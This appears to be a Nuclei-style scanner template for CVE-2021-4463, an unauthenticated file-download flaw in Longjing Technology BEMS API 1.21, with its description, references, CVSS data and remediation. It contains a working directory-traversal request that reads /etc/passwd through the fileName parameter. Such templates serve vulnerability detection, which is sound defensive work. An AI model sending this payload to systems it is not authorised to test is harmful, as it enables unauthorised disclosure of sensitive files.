Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
id: CVE-2021-4463
info:
name: Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download
author: gy741
severity: high
description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
impact: |
Unauthenticated attackers can download sensitive files outside the intended directory, leading to information disclosure.
remediation: |
Update to the latest version beyond 1.21.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
- https://packetstormsecurity.com/files/163702/
- https://nvd.nist.gov/vuln/detail/CVE-2021-4463
- https://www.cve.org/CVERecord?id=CVE-2021-4463
- https://www.exploit-db.com/exploits/50163
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22,CWE-552
cve-id: CVE-2021-4463
epss-score: 0.01452
epss-percentile: 0.72068
metadata:
max-request: 1
tags: cve,cve2021,lfi,packetstorm,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022030ba8fe6dd2fc4a87ad9ce0d1e4e56b1d895f59acdec466bfa0585b78aa369cb022100b3fd3a6800c23269a6805088ef5d953e2bdbe83b6a327326ad5bb1ed536e376b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.